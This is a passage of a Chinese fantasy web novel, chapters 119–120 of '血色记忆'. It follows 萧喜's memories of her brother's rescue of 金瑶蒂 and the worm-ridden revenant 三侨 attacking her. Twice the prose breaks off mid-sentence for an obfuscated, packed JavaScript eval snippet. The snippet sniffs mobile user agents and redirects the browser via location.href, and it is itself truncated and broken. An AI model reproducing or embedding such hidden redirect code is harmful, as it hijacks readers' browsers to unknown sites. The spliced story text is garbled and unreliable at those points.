“我以为你是因为之前握过我手腕的脉络,才知道我有灵根……”萧喜说到此处,忽然顿住,“等等,你怎会知道我是庆阳镇唯一的幸存者?!詹远绝对不可能告诉你这个。” “那个时候事态紧急,你没有察觉到异常也是正常之事。”朗月并未直接回答她的问题。 而这个回答也让萧喜理所当然地以为朗月之所以能知道萧喜是唯一幸存者,也是因为他接受了青灯给予的提点。 她永远不会想到,她与朗月的第一次见面并非平台镇的詹远客栈,也不是平台山雨夜的山崖,而是六年前的庆阳镇。六年前,朗月在血蠕口下救下她,后又靠元武掣庙中没有褪去余温的灰烬,发现十二岁的萧喜还活着,萧喜的身份,他没有告诉仙机门的任何一个人。萧喜的身份,也仅有他一人知晓。 真是奇妙的缘分。 短暂的感叹在朗月的脑海里飞速驶去,他的注意力重新回到灯火相映的河岸,他说道:“我的确因为摸到你的脉络,发现了你的灵根,也猜到了你用三十年寿命换取灵根的事实。但那个时候我并不知道暗曹营的存在,更不知道予你灵根之人就是詹远,而詹远就是你要找的暗曹营之人。现在我之所以知道这些,都应该拜青灯所赐。” 萧喜笑了笑,这个笑容很是单调,显得没什么力气,颇显苍白,笑容慢慢收下,似白蜡一点点步入消融。疲惫,无奈…… “既然如此,你应该也知道除了灵根,我还换了的另一样东西吧?”萧喜说道,语气淡淡,隐着悲寞。 “记忆,六年前血蠕大劫的一切记忆。”朗月缓声道,语气再度轻下,渐有几分柔意,他很少用这样的语气说话。这样的话题,只要从口中脱出,就应该会给萧喜带来无法用言语形容的伤害。他似乎将希冀寄托于说出这些话时用到的语气上,试图将那份伤害最大化减弱,好能达到让萧喜接受的程度。 “只要每逢雨夜,我便会回到过去,逼着自己一遍又一遍地去经历那段恐怖罪孽的过去。”萧喜讷讷道。 “就像庆阳镇的那个夜晚,”朗月顿了顿,又道,“那时你已晕厥,天下骤雨后,你忽然开始浑身冒出冷汗、一遍一遍地颤抖,我以为你病了,而青灯却告诉我这是你的心病。便是那个时候,她将你的事情全部告诉了我,包括暗曹营和你六年前曾经身中血蠕之事……” 萧喜忽然一笑,身体更松弛了些,攥紧的手松下。 “怎么忽然要强调这些,你是在告诉我,你并非要主动揭我伤疤么?你不用紧张,今晚路上我与你也都说清楚了,我只是希望你不用那么拘谨,不要什么都伪装着不告诉我罢了。” 萧喜搓了搓疲惫的眼,继续说道:“其实……我都知道的,既然你能从青灯那处发觉引魂针的特殊之处,必然也会怀疑上詹远的身份。所以,青灯如果想要让你相信她的话,就肯定会主动向你证明詹远的身份,甚至还会借助我的例子来为她正名。” 朗月的眼神盯着萧喜看,渐渐变得生动,他不得不再次感叹,和萧喜这样聪明绝伦的人交流交往,当真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556332|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一件奇妙又舒坦的事情。 “当年……后面究竟还发生了什么?金瑶蒂为何会被人再次劫走,又消失远方、生死未卜?你为何会和青灯一样对她怀有愧意,青灯说,这都是因为当年你身中血蠕的缘故……” 很显然,故事并没有结束,而戳破秘密的关键便是萧喜。越是接近真相,他便越止不住前进的步伐。 “哈,那叫青灯的妖怪还真是不给我面子啊……”萧喜故作苦涩地挤了挤眉头。 “除夕金瑶蒂回去之后,我哥哥与她还会经常联系,但大多数都是我哥哥偷偷去她们家找她的。 后来,差不多过了六七个月的时间,他们家的大少爷犯了事情,新帝年少还无力掌控全局,一帮新党羽抓住这个机会清除老羽,金府大少爷就是因此落难,听说他又是被牵连又是被陷害的,导致整个金府都跟着后面遭了殃。 金瑶蒂作为府中女眷,一同被卖进了青楼。这个消息被我哥哥知道了,他告诉我,无论用什么办法,他都要把金瑶蒂救回来——” 六年前,即为平乐十一年—— 不知不觉间,时至夏季。 德裕金府大少爷出事连累全家的消息,拖延了接近半月才传到了庆阳镇,紧接着连金府陷入混乱的时间都不等,盛京的军队就已经赶到了。 一纸圣旨落下,德裕金府人仰马翻。家中男子先被带走,女眷齐齐聚集在前院里,没了依靠的她们,听着身后官兵们肆意搜刮抢夺府内财物的动静,和满口的污言秽语时,除了哭哭啼啼以外便是吓昏过去。 待官兵搜刮结束,府内女眷便被即刻带走,家中凡有身份的女人都被迫立上身契,而婢女们的身契也被收回,年轻的即刻就地卖往青楼,年老色衰的就卖身给人做奴仆。 虽然金府出事的事情顷刻间就在庆阳镇闹得沸沸扬扬,但百姓们真正关心的,不过是他们眼里的这种高门贵户忽然崩塌的奇闻,给他们带来的新鲜感罢了,从没有人关心奇闻背景板下的金府人的死活。 所以,官兵搜刮金府往后处置人员的消息,并无多余的百姓知晓,当然,也没有必要知晓。 而除了金府里的这些带罪的人,就属萧吉是第一时间知道这些消息的人了。 妹妹还年幼,无法应付的事情太多。所以萧吉心下一狠,把他想要去救人的心思独自按在了心里,没肯告诉萧喜,以免连累了她。 在金府女眷被安置完毕前的那几天里,萧吉将自己伪装成一副觉得所有事情都无所谓的模样,甚至没有再主动跟萧喜提及过金府和金瑶蒂的事情过。 恰好那时候的萧喜什么都不知道,心思也简单单纯,对哥哥突如其来改变的主意并没有生疑,反而总是产生怪异的想法和快悦感。自从金瑶蒂走后,哥哥的偏爱重新回到了她的身上,她残破的安全感重新规整完好。 之所以说这种感觉是怪异的,是因为萧喜内心清楚,她并不是真的很讨厌亦或是厌烦金瑶蒂的存在。她只是觉得,如果为了拿回本就属于自己的东西,金瑶蒂的牺牲就会成为必然的结果。所以,她真的不希望金瑶蒂再次出现。 就在这稍显安宁的日子里,萧喜一步步沦陷,已有了自我沉浸的感觉,完全没有察觉到哥哥的任何异常处。而这些异常处一点一点地积攒起来,厚积薄发,时机成熟后,造成猛烈而不可弥补的后果—— 萧吉悄悄消失了。 119. 血色记忆(3) 与此同时,大家听说镇上的那所风月场地里的一位妓女被人拐走了,那妓女好似就是前些日子出了事的金府的小姐,年纪轻轻的,就带罪被卖给了青楼,因模样可人,又颇有闺秀教养,镇上一些稍有几分闲钱的子弟都慕名而去。 短短几天,那金姑娘就被折磨地差点丢去了半个魂儿。 金姑娘被忽然劫走的事情落到大家耳朵里,貌似无甚惊奇,只以为是哪个没钱的穷汉贪恋美色,又无钱讨要,所以才让这桩事体发生。 听说今天从早到晚,那青楼老鸨急得上蹿下跳,雇了上上下下无数大汉,恨不得将庆阳镇围得水泄不通,势必要将那两人擒拿到手。 这事儿虽然闹得沸沸扬扬,但官府却不管这事儿,人拐人这种现象实属常见,这次之所以闹得这般厉害,主要还是被拐人的名声大罢了。那拐走人的家伙如今罪责难逃,本就该受到惩罚,青楼老鸨横竖反正都不会放过他,官府于是便收收心,不去多管这闲事儿,刚好能省些气力,还能卖人家老鸨一个人情,岂不美哉? 一通消息杂七杂八地砸进萧喜的脑海里,几乎快把她的脑袋砸地稀巴烂,理智也近乎荡然无存了。 她年纪小是事实,但却不是个傻子。这么多明显的线索摆在她眼前,她想不知道人们口中劫走金瑶蒂的劫匪是她哥哥萧吉,都难如上青天了。 如今这世上,能鲁莽到不顾一切为金瑶蒂做出这样的事情的,除了萧吉又还能有谁呢? 所以,萧吉早就做好了这些打算,但也心知自己的妹妹不会同意,于是从头到尾都瞒着她,那些表面上的平静全都是假的,全都是。 萧喜先是感到荒唐,她不能理解哥哥怎么能如此自负,自负到以为光凭借自己的一臂之力,就能颠覆别人的命运,他怎么敢如此笃定?他怎么能一点后果都不考虑?或者说,他只是记着别人的安危,而从未考虑过她的感受。可……明明,她才是他亲如手足的家人,唯一的家人。 紧接着飞速的闷感如潮水一般涌入全身,她的动作僵住,情绪开始不受控制,因为她能够感觉到自己那些视如珍宝的——唯一的安全感正在不断流失。 金瑶蒂……金瑶蒂…… 你怎么又回来了? 你为什么还要再出现? 萧喜自知现在的自己除了一个人坐在逼仄黑暗的屋子里胡思乱想以外,其他任何事情都做不了,命运留给她的唯一结局,就是等待。 夜晚悄悄降临,却一改往日寂静的作风,反而要化作长了满嘴白厉厉獠牙的暗夜罗刹,前来索命。萧萧风声是罗刹的低吼,冷冽地近乎可以穿透萧喜单薄衣物的寒气,是罗刹玩弄猎物的手段……心底的恐惧油然而生,萧喜从未感觉到哪个夜晚如此寒凉刺骨,如此孤单致命,她满脑子皆是企图撺掇煽惑她意志力的游思妄想。 直到,屋外长巷外传来的一连串奇怪的脚步,它们打破了这一切,这些动静越来越近。屋外之人绝非善类,且数量庞大。萧喜迅速绷紧了神经,她总感觉接下来会有什么事情找上门来,所以她没有退缩,反而找了能快速清晰看清外面情况的地方守着。 她身处的这间屋子位居老巷区,年久失修的屋子早就禁不起风吹雨打的折磨,所以近乎无人居住。前些日子,她和哥哥刚摆脱了丐帮的控制,为了方便和自由,索性将这里当作暂时的藏身之处。 这里所有的一切都破烂且拥挤,满屋子的尘灰和长时间浸泡在潮气下蔓生出的霉味儿冲天不已,除此之外,错综复杂的巷子加阴暗遍布的窄道,足以让无数人足禁于此,更别提晚上了。所以,这些贸然涌入此处的那帮人们,绝不会无缘无故来这里给自己添堵,他们必然是在追逐什么目标。 什么样的目标犯得上这么多人大动干戈?什么样的目标会在藏匿此处? 听脚步声,前者还算紧凑,后者却显然紊乱不堪。依此可见,被追逐的那个人绝对对这里十分熟悉,他想利用老巷区在夜间近乎寸步难行的特性,甩开身后那帮家伙! 萧喜越想越感到心悸,她在联想到诸多细节之后,首先怀疑到的人就是哥哥萧吉。她在短时间内,很难想象还能有谁,符合那些被这么多壮汉追逐的人的条件。 那些时而紧凑,时而紊乱的动静正在往萧喜这个方向涌动,她的直觉告诉她,萧吉此行除了甩开身后家伙以外的最主要的一大目的,还是寻找她,甚至说,是与她接应。 外界的冷气顺着一股掌风猛然灌入屋子,萧喜下意识地往后退了两步,在完成这个与推窗之人,格外心有灵犀的举动后,熟悉的身影映入眼帘。 萧吉披着一身水汽,那是油腻腻的汗渍,他刚跳进屋子的时候,还甩了萧喜一脸的汗花。 情况紧急,萧喜甚至还没来得及看清萧吉的模样,她的怀里就被塞了一只瘦弱的躯体。 萧吉一手抓住木制的窗框,将身体站稳在半空上,后腿微微向后倾,好似随时准备退出屋子的模样。 而萧喜怀里被哥哥塞入的人不是别人,正是金瑶蒂。萧吉居然带着她整日逃窜,到现在还没有被抓住,萧喜心想她当真是低估了哥哥的能力。 “哥……”一句完整的称呼还没来得及脱口,她就被萧吉的话语堵上了嘴巴。 “帮我照顾好她,外面的人还在追我们,我必须要出去吸引他们的注意力,只有调虎离山,你和她才会脱离危险。”萧吉一边大喘着气,一边不断地用警惕的眼神向身侧窥视情况。 “可是!真正给我们带来危险的明明是她,我们本可以一直安心地活下去。” 萧喜忍住不哭,可是她太低估自己的定力了,随着第一滴泪珠划过脸颊,她的声线近乎泣不成声。即便如此,她还是尽力压低着声音,不叫自己的理智失控,给萧吉平添麻烦。可见,她虽然不愿意,但是她却一直做着这些违心的事情。她的内心,远远没有嘴上那么强硬。 萧吉太了解自己的妹妹,他强忍着胸腔剧烈搏动的心跳,给萧喜绽放了一个微笑:“别担心,我最后肯定会没事的。记住,我们既然可以让别人脱离危险,就不该逃避。因为,做完这些事情后,我们面临的只是短暂的威胁。不做,别人却会面临一辈子的痛苦。如果我不去做,也会感到一辈子的不心安。放心,我肯定会没事的,不然也不会铤而走险!” 敞开的破碎窗子向上翻着,罩住朦胧的月色,将月光剪碎,随着流水般的夜风鼓入屋内。 在被木制窗架钳制住的狭窄而短暂的时光里,萧喜眯着眼,逆着风用视线捕捉着萧吉若影若现的身影,这些身影会比夜风的脚步,还要急着流逝而去,身影的面庞上挂着的酸涩的笑容,会比短暂的时光,还能令人在未来的岁月里更加令人珍视,难以忘却。 不知道为什么,萧喜总觉得,眼前的身影如此脆弱,以至于让她隐约感觉,未来的岁月里,她再难与这个身影重逢。她将此刻视作最后的相聚。 萧喜眼眶湿润,说话的能力已经被无形夺走,她只顾着忍泪,连眨眼的时间都不忍放过。萧吉蹲站在半身高的窗上,逆着被剪碎了的月光,带着神圣的气息,让萧喜不得不为此臣服。宁愿做一个安心的冒险者,也不愿做一个永不心安的逃避者。这便是萧吉一直信奉的信条。 这样的信条影响了那个时候的萧喜,也影响了未来的萧喜。 “这些天替我照顾着些她,绝对不能让她落入坏人的手里。” 萧吉丢下这最后一句话,飞速地关紧了窗户,一个灵活的跃跳翻回到巷子里。他往更远的方向跑了很远,又故意使出力度闹出声响,引起那些对他穷追不舍之人的注意力。 眨眼间,一阵呼啦啦的人风就朝着萧吉跑走的方向驶去。很快,萧喜所在的这间屋子再度陷入寂静,微微夜风会偷偷从破碎的窗洞溜进来,呼哧呼哧声,间歇而起。 借着破窗洞漏进来的几缕薄弱的月色,和远处繁街泛滥的灯火焰色,萧喜颓废地靠在暗处的墙根里,垂眸看着倒在她怀里,还晕厥着的金瑶蒂,泪水止不住地滴落。 宁愿做一个安心的冒险者,也不愿做一个永不心安的逃避者…… 可是,为什么那个光荣的冒险者一定得是她和哥哥呢? 她到底该怎么办? 她分明知道萧吉在用这种破罐子破摔的方式,引导她自行踏入道德绑架的陷阱里,但是她却没有任何理由拒绝,她不喜欢自己被哥哥这样对待。 可是仔细想一想,又会猛然发现此事本无解。因为,如果哥哥选择在一开始就告诉她,他真实的想法,她定然会想尽一切办法去阻止,但如果他瞒着她,先斩后奏,她就再无法阻止他,而且还会走向无路可走的境地,最终只能成为帮助他完成计划的关键一环。 终究还是因为金瑶蒂,对么? 萧喜她没有任何义务去拯救她,却还要因为她的事情,让自己差点和哥哥的情感产生裂缝,最后,自己还要被哥哥利用。 她真的,怎样,都不会喜欢上这个金小姐。 萧喜甚至有些嫉妒她,嫉妒她拥有过千娇百媚的人生,拥有数不清的安全感,拥有无数对她专一的爱。她也不得不讨厌她,因为她拥有那么多,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665805|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格外贪心,总是试图将哥哥的心牵走。萧喜从小就觉得,哥哥就是自己的天,是他的唯一。她不喜欢金瑶蒂,到底是因为害怕她会抢走她的天。 这些不满从来都只能偷偷藏在心里,一旦这些可怕的念头有过想要逃出心房的趋势时,萧喜都会陷入无限的自责,和自我厌恶中。她很害怕,自己的这些不满,会改变她,更会加重哥哥对她的忽视。 可是现在,她真的快要藏不住了。她讨厌金瑶蒂这个本该多余的人,讨厌她总爱贸然闯入别人的人生里,还老是给别人添很多麻烦。她想,如果萧吉出事了,她第一个不放过的一定就是这个女子。 …… 半夜里,金瑶蒂忽地惊醒。她左顾右盼都没有看到萧吉的身影,心里便慌得很,她又发现自己身处在一个十分陌生的地方,自己身边靠坐着的人是萧喜,她就很快明白了状况。 她本来被困在青楼之中,不见天日。结果有一天,萧吉忽然出现,他摸清了青楼的路子,趁着人流最大的时候,浑水摸鱼混入人群之中,以卓越的功夫藏入她的屋子里,想都没想就带着她逃跑了。要不是萧吉的举动既突然又疯狂,她也不会到现在还恍惚地以为自己是在做梦,毕竟她从未想过自己还能有一天,能逃脱那个地狱般的地方。 好景不长,很快就有人发现了金瑶蒂和萧吉的动向。萧吉只好带着她东躲西藏了近乎一整天,累得苦不堪言,连一口饭一口水都找不到机会吃喝。好不容易将时间拖延到了晚上,但金瑶蒂却已经体力不支,就留着一口气维持着活气,在那种情况下,萧吉还能带着她逃过身边万千埋伏,近乎是不可能的事情。 情急之下,萧吉脑中灵机一动,将自己的计划告诉了金瑶蒂,他打算先带她到老巷子区去,借着夜晚巷子里漆黑难行的优势,拉开与身后那些人的距离。顺便去找自己的妹妹,他打算让透支的金瑶蒂,先留在萧喜那边避避风头,而他自己则去吸引那些人的注意力,引开他们,换取萧喜和她的安全。 原计划里,萧吉是觉得自己有足够的把握依靠一己之力甩开那些难缠的家伙的,他也能够有把握料定,一旦过了今晚,那些人就很难再找金瑶蒂的麻烦了。所以,他坚信自己只要多熬一段时间,今夜的这场闹剧就能够正式落幕了。 他觉得自己胜券在握,要不了多久,他就能和萧喜和金瑶蒂团聚。 然而,命运最爱的便是捉弄人了。 这天夜里,萧吉领着一阵呼啦啦的人风在错综而晦暗的巷子里上窜下跳,他身姿灵活,活像只身经百战的猴王,在自己飞速穿梭长巷时鼓起的强烈风流之中逆行不止,听着身后脚步声渐入虚无,渐入混乱,少年的心中扬起一阵难以平复的风暴,他兴奋极了。 他本以为自己只要甩掉了身后的那帮抓他的壮汉们,就可以规避一切麻烦。所以他掉以轻心了,长时间暴力的体力消耗也不得不制止他的行为,他的动作迟缓下来,不紧不慢地踏着空荡荡的月光行走在黑暗之中。 可就在此时,一道刺目的血光自萧吉前方射入,他的双眼差点要被这道在黑夜里格外突兀的血光亮瞎。他下意识地用手臂遮挡住双目,身子不由得也往后倾斜起来。 迷蒙的目光自双臂之间窄长的缝隙漏出去,让他瞥见了一个逆在光下,显得有些扭曲的身影,一个名字意外地戳入他的脑海里——三侨! 可是他不是已经死了吗?! 就在萧吉以为自己出现了幻觉时,他的脑后就被一下猛烈的撞击攻击了,他“噗通”一身往前倒去,直接昏迷。 而那道逆光的身影纹丝不动,只是在原地散发着诡异的戾气,惨白森然的低笑,被糊上巷子近乎密闭空间里空旷幽深的音质,似鬼魂一般,在长长的巷子里漫无目的地荡来荡去。 “把他迷晕了,带下去给我看紧了!”三侨扭曲着声线,恶狠狠地在牙尖挤出这些字句,朝萧吉晕倒的方向道。 “是。” 站在暗处,两位宛若影子一般的下手垂着死气沉沉的眼,规规矩矩地应道。刚刚就是这两人下手将萧吉打晕在地的。 三侨满意地转过身去,那些散着血色的光亮,瞬间如迷雾一般,渗入他两侧老旧的高墙里,黑夜重归本色。 他得意地往前走,身后下手们拖曳重物时摩擦地面时,发出的“兹拉兹拉”声在他耳朵里,简直宛若仙乐,能够给他带来无比的慰藉和欢欣。他猛然抬眸,猩红的瞳孔嵌入黑夜之中,宛如两只血泊,裹挟着邪气波涛翻滚着。 三侨心中默念,他活过来了,他的计划也终于完成了第一步。 120. 血色记忆(4) 已经过去了三日,之前在镇上把事情闹得风声水起的青楼老鸨纵使是财大气粗,撑到现在也已力不从心了。可是,萧喜还没有等到哥哥萧吉的消息。 悲默的气氛弥漫在上空,挥之不去,萧喜今日已经变得格外疑神疑鬼,连带着金瑶蒂也开始察觉到大局的变故。 白昼很快逝去,天色已经暗下。 精神敏感的状况在萧喜身上还在持续加重,她已经一整日将自己困在离奇的低气压中了。 三日前的金瑶蒂一醒过来,就哇哇哇地哭了一整日,虽然萧喜压根没有闲工夫搭理她,但是她还是会锲而不舍的,有一搭没一搭地追问萧喜她哥哥的情况。萧喜嫌她烦,没办法就只能苦口婆心、连哄带骗地糊弄了她好长时间,这才让金瑶蒂的情绪安稳下来。可事到如今,萧喜是连自己都哄不下去了,更别提去哄骗金瑶蒂了。 金瑶蒂连带着三日都没有出过门,生怕自己再被青楼老鸨抓了回去,这些忧虑往往在无形之中给她增添着心理上的压力。她足不出户,于是就只能依赖萧喜照顾她的衣食起居,眼看着萧喜对她越来越疏离冷漠,在低沉情绪氛围的感染下,她的心间很快就油然而生出强烈的负罪感。 她其实一直都知道萧喜不愿与她亲近,虽然萧喜一直将这些反感的情绪藏得很深,但依旧难以逃过她的眼皮。可就是这样了,她还一直麻烦人家为她瞻前顾后,她心里其实很说不过去,也很清楚萧喜越来越不喜欢她的原因。 她知道萧吉偷偷闯入青楼救她的事情,也是瞒着萧喜的,所以在萧喜不知情的情况下,萧吉为了她如今陷入陷阱,至今未归,不管怎么狡辩,害别人哥哥出事的罪责,她是怎样都无法推脱的。 尽管萧吉救她的事情并非她本意,可她的确享受到了自己得到拯救后,获得的自由人生,强买强卖的交易下,无论谁是买家卖家,她作为利益既得者,她无法卸下责任。 金瑶蒂陷入进退两难的境地,因为她和萧吉的事情,她算是把萧喜从上到下,重新得罪了不知多少遍。 前三日,萧喜貌似和她一样,抱着萧吉能够回来的希望,所以才会一直忍住脾性容忍她的存在。可是事到如今,萧吉的身影依旧未现,而越晚一天,她和萧喜所怀抱的那些希望就越渺茫。萧喜对她的容忍终究会被耗尽,只是不知道灾难会在哪一天来临。 萧喜今日一整天怨气颇深,她已经无法忍受自己和金瑶蒂多呆一秒钟,所以到天色晚下的时候,她选择直接出门静静,算是眼不见心不烦了。 南方夏季梅雨多发,傍晚刚落过一场细蒙蒙的小雨,空荡潮湿的巷子里铺满了雨后泥土的腥湿味儿,因为空间的狭小,这些铺天盖地气息没有地方落脚,就只能一股脑地堵在巷子里。 萧喜刚走进去时脚下掀动的微微脚风直接骚动了那股泥腥味儿,它们抓狂地扑入她的鼻腔,引得她胃水翻滚了一阵。 她走着走着,忽然感觉到身后有一串紧凑的脚步声,她自诩她的反应还算快,很快就意识到自己被人尾随了,且对方不止一个人。她连忙加快了脚步,以极快的奔跑速度,折向身侧复杂的小道之中,她也想借助老巷繁复如蚁穴的特性,甩开身后尾随之人。 可就在她刚拐入这条小道没多久,她前方左侧的一间破旧的老屋子的门就被“哐镗”一声轰开,门板刹那间脱离铁栓,径直甩在了道路前方,挡住了她的去路。 时间耽搁下,萧喜身后尾随她的那两个男人也已经跟了过来,萧喜的前后路被全部封死,她自作主张的小聪明反而成为了束缚她的利器。 她被困在这条窄小的道路里,无法动弹。 在她想咬咬牙,直接翻过前面庞大的障碍物的时候,那块硕大而棱角分明的门板猝然碎裂,一只落在月色下形状诡异的身影,从破裂的门板后跨出脚步。 这只怪影走得更近了些,一双猩红的兽眼嵌在朦胧的黑幕里,直勾勾地盯着萧喜不放。直到能让萧喜看到他完整的面目后,他才止住了脚步。 而萧喜也突然屏住了呼吸,她听到自己心脏因为无限恐惧而发出的猛烈心跳声——她唯一可以听到的属于自己的动静。 她的嘴巴控制不住地哆嗦,最后也只是在心里,颤颤巍巍的喊出两个说出来连她自己都觉得荒唐的字——“三……三,三侨……” 这怎么可能?! 三侨明明已经死了! 此时三侨单手向萧喜的衣领上抓过去,强悍偏执的力道,叫他直接把人提了起来,径直往刚刚被他破开门板的老屋里走过去。 找到了一只高脚桌后,三侨松手把萧喜丢到了那张有他半人高的桌案上,免得萧喜瞎乱动。于此同时,萧喜刚被抛上去的时候,桌案上积淀已久的厚重灰尘也被扬了满屋子,呛得萧喜连连咳嗽。 夜色逐渐被记忆里的荒诞色泽覆满,它让萧喜的眼睛变成琉璃,不断地将这股颇显恐惧的荒诞之色折射出去,映到对面的人脸之上。 不知庆阳镇今天是什么日子,老巷外的一条长街上,亮起了近日来最繁华的灯火,橙红橙黄色的灯光,覆盖在对外敞开的屋子里,三侨的模样得以完美呈现,细节之处无不清晰,与萧喜荒诞的记忆重叠。 萧喜无法躲避对方眸子里向她射来的凶狠暴戾之色,她的目光被束缚了的动作固着,唯有平视才能寻求出路。 她很害怕,不只是为三侨“死而复生”的事情而感到恐惧——这种惧意是由内而外散发的,足以让人细思极恐又久久不得释怀的东西。 她清晰的明白,自己感觉到的恐惧并不是这样的,她的恐惧是可以直接感受到的,三侨的模样极具攻击性,其带来的令人毛骨悚然的感受,是萧喜无须等待内心喷发,就能直观且迅速察觉到的。 三侨的面目乍一眼看过去好似同从前无甚区别,但一旦以如此近距离平视五官的情况下,去细看,就会很容易捕捉到对方靠夜色遮掩的半张脸蛋,它是如此扭曲,如此不似人样。 他大半张脸的皮肤溃烂如泥,似被什么东西啃食过一般,露出千疮百孔,浓郁的血色与腥黄色的油脂杂乱地铺在上面,视作了人面的底色。 外面的街市还铺满灯光,从屋子破漏的窗眼射入,完美地将三侨那张扭曲而千疮百孔的面庞折到暗影里。且无论三侨的动作如何,这些灯光都无不兢兢业业地完成这些任务,好似无时无刻不在提醒着三侨——他如今的模样是多么见不得光一样…… “萧吉的妹妹……” 那些在明处肆意发散的灯光,如今已经成为了对三侨来说,是无比刺眼灼人的烈火光耀,刺激着他的每一个毛孔,每一丝神经。 他将上半身俯上前,伸出黑衣之下同样千疮百孔的双臂,撑到桌案上,以此再进一步缩短他与萧喜对视的距离。 “你仔细看看我,我好不好看,嗯?” 这句话是三侨用近乎狞笑到耳根子的笑容,恶狠狠地挤出来的。 萧喜与他的距离猝然缩短,她骇住,下意识地将双臂撑到桌面上将身躯往后倾,眼珠子已经恨不得缩进脑子里去。 三侨怎么可能读不懂萧喜眼中掩饰在恐惧之下的感情? 他知道萧喜这是认出他来了,她认识他,见过面,知道他的名字,也目睹过他的死亡,又见证了今夜他的复生。 所以,他完全不用多此一举地去提醒对方自己的身份,而恰恰这些不用多费口舌的动作,往往带来了更具有威慑性的魄力。 三侨见她那副下意识露出的嫌恶之状,又疯狂避开对上他的视线的模样时,莫名的怒火掀翻了暗涌波涛之上最后的平静。 纵使萧喜她再怎么逃避,她都已经是被困死的蝼蚁。三侨疯了一般,伸手捏起萧喜的下巴,将她的面庞固定在一个方向,让她的目光死死盯着他。 “你这副表情是什么回事?!你觉得很恶心是不是?!你凭什么这么觉得!凭什么!都是你们害的!” 三侨吼过去,动作幅度太大,将桌子摇地晃动不止,给坐在上面的萧喜一种摇摇欲坠的感觉。 萧喜泪水已经忍不住爆发,三侨粗糙的手碰上她平滑的皮肤,对方只要稍稍使劲,就能给她带来摩挲硬物的疼痛感。 同时,她还能感觉到那只手上钻着什么像是在蠕动的东西,密密麻麻,她因与这只手的触碰,而能感觉到这些密集的蠕动之物在她面庞上扭曲的触感,粘液粘连着皮肉,让她觉得无比恶心。 这些感觉无法被忽视,席卷而来的惊恐心境让她的眼皮变得僵硬,难以闭眼。 她的余光刚好可以瞥见三侨捏紧她下巴的那只手的模样,果然不辜负她的想象力和格外敏感的感知力,一些在阴影处摇摆身躯的细小身躯在三侨手上的千疮百孔上不断蠕动、啃噬撕咬。 那些皮肉上腥腻的粘液和脂肪,都是被这些密密麻麻分布的“虫子”从血肉之中带出来的。三侨的手上爬满了这些在暗处伺机而动的“虫子”,没错,一定是虫子! 萧喜哭着,疯狂地摆动脑袋,妄图甩开这只手。因为,她已经感觉到那些“虫子”正在坚持不懈的顺着她的面颊蠕动爬行,试图钻入她的耳道,“虫子”带着血腥气的粘液混入她的泪水,一同粘到她的发丝和衣领上。 她的气力无法抗拒三侨愈渐执拗抓狂的手劲儿,僵持许久,直到那些恶心的“虫子”完全爬入她的身体里的时候,她的反抗才休止。 三侨的面目更加扭曲狰狞了起来,他的身体往后一歪,舞动起四肢,爬在地上,又是翻又是滚的,干哑低吼语气的笑声,萦绕在屋子的每个角落。 “血蠕!” “血蠕!” “我要报仇!我要报仇!” 三侨笑着,尖啸不断,笑着笑着就大哭了起来,泪水从他面孔上密集的疮口上溢出来,染上了血色。 外面射进来的朦胧灯光映出泪的色泽,血泪中爬着很多只虫子,原本隐没在黑暗中的它们终于展现了真正的面目,它们是血色的,近乎发黑的腥气的血色。 他等这一天很久了。 他一直记得除夕那日,他坠入冰面后被萧吉刺进胸膛的匕首杀死,迎来真真切切的死亡。 他本就怨恨萧吉,而萧吉又一而再再而三地破坏他的计划,最后还趁机将他杀死。他的内心如同泉眼,喷薄源源不断的怨气,滋养着他的恶念。 生命终结时他都是死不瞑目的。 可是上天又给了他一次机会,之前指使过他的那位黑影大人在他死后没有放弃他,反而给予了他一次死而复生的机会,条件是将金瑶蒂抓给他,送去盛京,至于用什么样的手段,那位大人并未强调,只是交代了任务期限罢了。 在复生前,三侨的体内就被种下过血蠕,所以只要再度唤醒起他体内还未死去的血蠕,就能让他获得生命,代价就是他必须要用自己鲜活的血肉,去供养体内围聚成巢的血蠕们的生命。 血蠕们出奇地喜爱三侨这样一位宿主,他的内心已经被那场死亡带来的邪念占据了全部,血蠕最爱的便是萦绕于心脏上的恶念,它们最爱撩拨这些恶念,从而去控制宿主颓靡不堪的意志。 所以,很难说现在身在人间的这副被血蠕啃噬得人不人鬼不鬼的“怪物”,还是当初真正的三侨么?如今的三侨,与其说他还是个人,不如说是一具被邪念攻心后,任由血蠕操控的傀儡还差不多。 三侨因此复生,却久久难以接受变成这样的自己。而且这场重生并不美好,处处充斥着血蠕钻心的疼痛不说,最终也会因为自己的身体渐渐失去被血蠕利用的价值,而被舍弃,他还会死去,比之前还要痛苦上百倍地死去。 他始终认为,若没有萧吉,他就不会变成这幅令人作呕的鬼样子!所以他才会叫嚣,萧喜没有资格厌恶他的模样,萧喜和萧吉在他眼里,都是害他的罪魁祸首。 几个月前,三侨“死后”,原来他手中的帮票不翼而飞,他的失踪被帮主理所当然地以为,是他因为自私自利而携带帮票逃走了。 萧吉貌似完全记不清之前对他的所作所为,他与妹妹一同瞒天过海,更没有将三侨的死讯公众。死无对证的事情,三侨坐实了。更可恶的是,萧吉和萧喜作为最先发现他失踪的人,被帮主当做了最该赏识的人。最后,兄妹两人凭借这些从帮主那边争取到了脱离帮派的机会,他们获得了自 